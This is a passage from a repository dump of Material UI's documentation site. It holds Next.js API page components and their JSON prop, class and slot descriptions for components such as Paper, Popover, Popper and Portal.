\"isGlobal\": false\n    },\n    {\n      \"key\": \"text\",\n      \"className\": \"MuiPagination-text\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"text\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"ul\",\n      \"className\": \"MuiPagination-ul\",\n      \"description\": \"Styles applied to the ul element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiPagination\",\n  \"forwardsRefTo\": \"HTMLElement\",\n  \"filename\": \"/packages/mui-material/src/Pagination/Pagination.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-pagination/\\\">Pagination</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/paper.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './paper.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/paper', false, /\\.\\/paper.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/paper.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"elevation\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"1\" },\n    \"square\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'elevation'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'elevation'\"\n    }\n  },\n  \"name\": \"Paper\",\n  \"imports\": [\"import Paper from '@mui/material/Paper';\", \"import { Paper } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"elevation\",\n      \"className\": \"MuiPaper-elevation\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"elevation\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation0\",\n      \"className\": \"MuiPaper-elevation0\",\n      \"description\": \"Styles applied to the root element if `elevation={0}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation1\",\n      \"className\": \"MuiPaper-elevation1\",\n      \"description\": \"Styles applied to the root element if `elevation={1}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation10\",\n      \"className\": \"MuiPaper-elevation10\",\n      \"description\": \"Styles applied to the root element if `elevation={10}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation11\",\n      \"className\": \"MuiPaper-elevation11\",\n      \"description\": \"Styles applied to the root element if `elevation={11}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation12\",\n      \"className\": \"MuiPaper-elevation12\",\n      \"description\": \"Styles applied to the root element if `elevation={12}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation13\",\n      \"className\": \"MuiPaper-elevation13\",\n      \"description\": \"Styles applied to the root element if `elevation={13}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation14\",\n      \"className\": \"MuiPaper-elevation14\",\n      \"description\": \"Styles applied to the root element if `elevation={14}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation15\",\n      \"className\": \"MuiPaper-elevation15\",\n      \"description\": \"Styles applied to the root element if `elevation={15}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation16\",\n      \"className\": \"MuiPaper-elevation16\",\n      \"description\": \"Styles applied to the root element if `elevation={16}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation17\",\n      \"className\": \"MuiPaper-elevation17\",\n      \"description\": \"Styles applied to the root element if `elevation={17}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation18\",\n      \"className\": \"MuiPaper-elevation18\",\n      \"description\": \"Styles applied to the root element if `elevation={18}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation19\",\n      \"className\": \"MuiPaper-elevation19\",\n      \"description\": \"Styles applied to the root element if `elevation={19}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation2\",\n      \"className\": \"MuiPaper-elevation2\",\n      \"description\": \"Styles applied to the root element if `elevation={2}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation20\",\n      \"className\": \"MuiPaper-elevation20\",\n      \"description\": \"Styles applied to the root element if `elevation={20}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation21\",\n      \"className\": \"MuiPaper-elevation21\",\n      \"description\": \"Styles applied to the root element if `elevation={21}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation22\",\n      \"className\": \"MuiPaper-elevation22\",\n      \"description\": \"Styles applied to the root element if `elevation={22}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation23\",\n      \"className\": \"MuiPaper-elevation23\",\n      \"description\": \"Styles applied to the root element if `elevation={23}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation24\",\n      \"className\": \"MuiPaper-elevation24\",\n      \"description\": \"Styles applied to the root element if `elevation={24}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation3\",\n      \"className\": \"MuiPaper-elevation3\",\n      \"description\": \"Styles applied to the root element if `elevation={3}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation4\",\n      \"className\": \"MuiPaper-elevation4\",\n      \"description\": \"Styles applied to the root element if `elevation={4}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation5\",\n      \"className\": \"MuiPaper-elevation5\",\n      \"description\": \"Styles applied to the root element if `elevation={5}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation6\",\n      \"className\": \"MuiPaper-elevation6\",\n      \"description\": \"Styles applied to the root element if `elevation={6}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation7\",\n      \"className\": \"MuiPaper-elevation7\",\n      \"description\": \"Styles applied to the root element if `elevation={7}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation8\",\n      \"className\": \"MuiPaper-elevation8\",\n      \"description\": \"Styles applied to the root element if `elevation={8}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"elevation9\",\n      \"className\": \"MuiPaper-elevation9\",\n      \"description\": \"Styles applied to the root element if `elevation={9}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiPaper-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiPaper-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"rounded\",\n      \"className\": \"MuiPaper-rounded\",\n      \"description\": \"Styles applied to the root element unless `square={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiPaper\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Paper/Paper.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li>\\n<li><a href=\\\"/material-ui/react-paper/\\\">Paper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pigment-container.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './pigment-container.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/pigment-container',\n    false,\n    /\\.\\/pigment-container.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pigment-container.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disableGutters\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"fixed\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"maxWidth\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'lg'<br>&#124;&nbsp;'md'<br>&#124;&nbsp;'sm'<br>&#124;&nbsp;'xl'<br>&#124;&nbsp;'xs'<br>&#124;&nbsp;false\"\n      },\n      \"default\": \"'lg'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"PigmentContainer\",\n  \"imports\": [\n    \"import PigmentContainer from '@mui/material/PigmentContainer';\",\n    \"import { PigmentContainer } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"muiName\": \"MuiPigmentContainer\",\n  \"filename\": \"/packages/mui-material/src/PigmentContainer/PigmentContainer.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-container/\\\">Container</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pigment-grid.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './pigment-grid.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/pigment-grid',\n    false,\n    /\\.\\/pigment-grid.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pigment-grid.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"columns\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"12\"\n    },\n    \"columnSpacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      }\n    },\n    \"container\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'row'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;Array&lt;'row'<br>&#124;&nbsp;'row-reverse'&gt;<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"'row'\"\n    },\n    \"offset\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object\"\n      }\n    },\n    \"rowSpacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      }\n    },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object\"\n      }\n    },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"0\"\n    },\n    \"wrap\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'nowrap'<br>&#124;&nbsp;'wrap-reverse'<br>&#124;&nbsp;'wrap'\"\n      },\n      \"default\": \"'wrap'\"\n    }\n  },\n  \"name\": \"PigmentGrid\",\n  \"imports\": [\n    \"import PigmentGrid from '@mui/material/PigmentGrid';\",\n    \"import { PigmentGrid } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"muiName\": \"MuiPigmentGrid\",\n  \"filename\": \"/packages/mui-material/src/PigmentGrid/PigmentGrid.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-grid/\\\">Grid</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pigment-stack.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './pigment-stack.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/pigment-stack',\n    false,\n    /\\.\\/pigment-stack.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/pigment-stack.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row'<br>&#124;&nbsp;Array&lt;'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row'&gt;<br>&#124;&nbsp;{ lg?: 'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row', md?: 'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row', sm?: 'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row', xl?: 'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row', xs?: 'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row' }\"\n      },\n      \"default\": \"'column'\"\n    },\n    \"divider\": { \"type\": { \"name\": \"node\" } },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;{ lg?: number<br>&#124;&nbsp;string, md?: number<br>&#124;&nbsp;string, sm?: number<br>&#124;&nbsp;string, xl?: number<br>&#124;&nbsp;string, xs?: number<br>&#124;&nbsp;string }<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"0\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"PigmentStack\",\n  \"imports\": [\n    \"import PigmentStack from '@mui/material/PigmentStack';\",\n    \"import { PigmentStack } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"muiName\": \"MuiPigmentStack\",\n  \"filename\": \"/packages/mui-material/src/PigmentStack/PigmentStack.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stack/\\\">Stack</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/popover.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './popover.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/popover', false, /\\.\\/popover.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/popover.json",
    "content": "{\n  \"props\": {\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"required\": true },\n    \"action\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"anchorEl\": { \"type\": { \"name\": \"custom\", \"description\": \"HTML element<br>&#124;&nbsp;func\" } },\n    \"anchorOrigin\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ horizontal: 'center'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;number, vertical: 'bottom'<br>&#124;&nbsp;'center'<br>&#124;&nbsp;'top'<br>&#124;&nbsp;number }\"\n      },\n      \"default\": \"{\\n  vertical: 'top',\\n  horizontal: 'left',\\n}\"\n    },\n    \"anchorPosition\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ left: number, top: number }\" }\n    },\n    \"anchorReference\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'anchorEl'<br>&#124;&nbsp;'anchorPosition'<br>&#124;&nbsp;'none'\"\n      },\n      \"default\": \"'anchorEl'\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"container\": { \"type\": { \"name\": \"union\", \"description\": \"HTML element<br>&#124;&nbsp;func\" } },\n    \"disableScrollLock\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"elevation\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"8\" },\n    \"marginThreshold\": { \"type\": { \"name\": \"number\" }, \"default\": \"16\" },\n    \"onClose\": { \"type\": { \"name\": \"func\" } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: func<br>&#124;&nbsp;object, paper?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: elementType, paper?: elementType, root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transformOrigin\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ horizontal: 'center'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;number, vertical: 'bottom'<br>&#124;&nbsp;'center'<br>&#124;&nbsp;'top'<br>&#124;&nbsp;number }\"\n      },\n      \"default\": \"{\\n  vertical: 'top',\\n  horizontal: 'left',\\n}\"\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'auto'<br>&#124;&nbsp;number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"'auto'\"\n    }\n  },\n  \"name\": \"Popover\",\n  \"imports\": [\n    \"import Popover from '@mui/material/Popover';\",\n    \"import { Popover } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component used for the root slot.\",\n      \"default\": \"Modal\",\n      \"class\": \"MuiPopover-root\"\n    },\n    {\n      \"name\": \"paper\",\n      \"description\": \"The component used for the paper slot.\",\n      \"default\": \"Paper\",\n      \"class\": \"MuiPopover-paper\"\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component used for the transition slot.\",\n      \"default\": \"Grow\",\n      \"class\": null\n    },\n    {\n      \"name\": \"backdrop\",\n      \"description\": \"The component used for the backdrop slot.\",\n      \"default\": \"Backdrop\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiPopover\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Popover/Popover.js\",\n  \"inheritance\": { \"component\": \"Modal\", \"pathname\": \"/material-ui/api/modal/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-menu/\\\">Menu</a></li>\\n<li><a href=\\\"/material-ui/react-popover/\\\">Popover</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/popper.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './popper.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/popper', false, /\\.\\/popper.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/popper.json",
    "content": "{\n  \"props\": {\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"required\": true },\n    \"anchorEl\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"HTML element<br>&#124;&nbsp;object<br>&#124;&nbsp;func\"\n      }\n    },\n    \"children\": { \"type\": { \"name\": \"union\", \"description\": \"node<br>&#124;&nbsp;func\" } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"container\": { \"type\": { \"name\": \"union\", \"description\": \"HTML element<br>&#124;&nbsp;func\" } },\n    \"disablePortal\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"keepMounted\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"modifiers\": {\n      \"type\": {\n        \"name\": \"arrayOf\",\n        \"description\": \"Array&lt;{ data?: object, effect?: func, enabled?: bool, fn?: func, name?: any, options?: object, phase?: 'afterMain'<br>&#124;&nbsp;'afterRead'<br>&#124;&nbsp;'afterWrite'<br>&#124;&nbsp;'beforeMain'<br>&#124;&nbsp;'beforeRead'<br>&#124;&nbsp;'beforeWrite'<br>&#124;&nbsp;'main'<br>&#124;&nbsp;'read'<br>&#124;&nbsp;'write', requires?: Array&lt;string&gt;, requiresIfExists?: Array&lt;string&gt; }&gt;\"\n      }\n    },\n    \"placement\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'auto-end'<br>&#124;&nbsp;'auto-start'<br>&#124;&nbsp;'auto'<br>&#124;&nbsp;'bottom-end'<br>&#124;&nbsp;'bottom-start'<br>&#124;&nbsp;'bottom'<br>&#124;&nbsp;'left-end'<br>&#124;&nbsp;'left-start'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right-end'<br>&#124;&nbsp;'right-start'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;'top-end'<br>&#124;&nbsp;'top-start'<br>&#124;&nbsp;'top'\"\n      },\n      \"default\": \"'bottom'\"\n    },\n    \"popperOptions\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ modifiers?: array, onFirstUpdate?: func, placement?: 'auto-end'<br>&#124;&nbsp;'auto-start'<br>&#124;&nbsp;'auto'<br>&#124;&nbsp;'bottom-end'<br>&#124;&nbsp;'bottom-start'<br>&#124;&nbsp;'bottom'<br>&#124;&nbsp;'left-end'<br>&#124;&nbsp;'left-start'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right-end'<br>&#124;&nbsp;'right-start'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;'top-end'<br>&#124;&nbsp;'top-start'<br>&#124;&nbsp;'top', strategy?: 'absolute'<br>&#124;&nbsp;'fixed' }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"popperRef\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ root?: func<br>&#124;&nbsp;object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transition\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"Popper\",\n  \"imports\": [\n    \"import Popper from '@mui/material/Popper';\",\n    \"import { Popper } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiPopper-root\",\n      \"description\": \"Class name applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiPopper\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Popper/Popper.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-autocomplete/\\\">Autocomplete</a></li>\\n<li><a href=\\\"/material-ui/react-menu/\\\">Menu</a></li>\\n<li><a href=\\\"/material-ui/react-popper/\\\">Popper</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/portal.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './portal.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/portal', false, /\\.\\/portal.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/portal.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"container\": { \"type\": { \"name\": \"union\", \"description\": \"HTML element<br>&#124;&nbsp;func\" } },\n    \"disablePortal\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"Portal\",\n  \"imports\": [\n    \"import Portal from '@mui/material/Portal';\",\n    \"import { Portal } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"spread\": false,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiPortal\",\n  \"filename\": \"/packages/mui-material/src/Portal/Portal.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-portal/\\\">Portal</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/radio-group.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './radio-group.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/radio-group',\n    false,\n    /\\.\\/radio-group.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/radio-group.json",
